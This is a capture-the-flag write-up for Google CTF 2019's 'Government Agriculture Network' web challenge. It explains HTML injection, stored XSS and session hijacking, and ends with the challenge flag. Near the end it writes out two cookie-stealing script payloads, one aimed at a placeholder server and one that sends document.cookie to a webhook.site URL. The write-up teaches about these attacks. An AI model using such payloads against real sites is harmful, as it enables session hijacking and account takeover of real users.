# Government Agriculture Network (web)


Our first web challenge. Let's go ahead and visit that [website](https://govagriculture.web.ctfcompetition.com/) and see what's up.


Well, this website is a tad bit strange. I'm not too sure what's up with this CTF's whole cauliflower thing, but that's besides the point. What we the hacker are enticed by is the giant text entry box. Arbitrary user input is perhaps the most prominent entryway for web application exploitation by hackers.

> As with most distributed applications, web applications face a fundamental problem they must address to be secure. Because the client is outside of the application’s control, users can submit arbitrary input to the server-side application. The application must assume that all input is potentially malicious.
> - The Web Application Hacker's Handbook, 2nd Edition, page 9

Let's go ahead and feed it some sort of random input to see how it behaves. We'll enter some sort of random input, anything, and then submit it. After doing so, we're sent to this page.


Ah, it looks like whatever sort of input we enter is viewed by the admin. Let's go ahead and make sure of this by sending some HTML that will hopefully trigger a honeytoken. A honeytoken is essentially a broader honeypot. We're going to be sending some arbitrary HTML that will attempt to open up an image from a specific source. When the said specific source receives traffic from whoever opens it up, it will inform us, the attacker, that someone or something did indeed attempt to request the resource.

If this were on a local network, then I'd set up a Python HTTP web server and use that to log all traffic. However, because this is an online challenge, and because I'm too cheap to own a server myself, I'll resort to the online honeytoken service [Canarytokens](https://canarytokens.org/).

After generating a honeytoken with a disposable email account (courtesy of Guerrilla Mail), I'll go ahead and create some HTML that will attempt to request a resource from this honeytoken.

```html

```

I'll go ahead and submit that to the administrator through the site and check my disposable email to see if I got a hit.


Looks like we got a hit! From this, we've learned two things: 1) The website "administrator" is indeed viewing our submission, and 2) We are able to inject arbitrary HTML for this "administrator" to see.

This is a textbook session hijacking situation via cookie stealing through XSS. XSS stands for Cross Site Scripting and is a vulnerability in which attackers are able to inject arbitrary code into a web page. In this case, we're able to inject arbitrary HTML (and by extension, JavaScript) into the web page that the administrator sees, and our input is not sanitized on the server side, so whatever code we enter is likewise interpreted like code as if it were a part of the website itself. We are in essence editing the site at an HTML level and getting someone else to run our code.

XSS is going to be the vector for our main attack, which is session hijacking. Session hijacking is exactly what it sounds like: it's stealing someone else's session. This is typically done via cookie stealing. An HTTP cookie is a small piece of data that typically stores some information about a user and is included in requests to the web server, and is often times used to keep sessions persistent. For example, a user can log into a website and be given a small piece of data, a cookie, that keeps their session persistent. All requests to the website from there onwards while the user is logged in no longer prompts the user for a login every single time, but is instead authenticated using the given cookie. Where we the attacker may come into play is in the theft of this web cookie. If we were to somehow obtain this web cookie, we could easily take over their session an use the stolen cookie for authentication without the need to ever know their credentials.

What we're going to be doing is injecting some HTML that will not only request a resource from a server we have control over, but request a resource in addition to giving us the victim's web cookie. We can accomplish this using the following script:

```html
<script>document.location="https://<SERVER>/<RESOURCE>?c="+document.cookie</script>
```

When this script runs, it will parse `"https://<SERVER>/<RESOURCE>?c="+document.cookie` to actually contain the cookie, and then see it as one giant resource to be requested. For example, if the cookie was `abc`, the victim browser will attempt to request resourced from `"https://<SERVER>/<RESOURCE>?c=abc"`. Because we, the attacker, are in total control of this said server, we will know what they are requesting even if it's nonsense.

Again, if this were something on my local network or even within a VPN, I'd host a Python HTTP server to handle this. However, as this is online, I'll instead opt for an online solution such as [Webhook](https://webhook.site/).


With this in place, we'll go ahead and craft the arbitrary code we're going to be sending to the site administrator now.

```html
<script>document.location="https://webhook.site/9b715d53-dede-4146-a377-3f46ab852fee?stolenCookie="+document.cookie</script>
```

After sending it to the administrator, I'll go back to Webhook and see what I've caught.


And just like that, we can find the flag in the administrator's request to our server within the form values.

## Flag

```
CTF{8aaa2f34b392b415601804c2f5f0f24e}
```

# Next Stop


Next stop: [STOP GAN (bof)](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day4-stop-gan-bof.md) (Red)

Original writeup (https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day3-government-agriculture-network.md).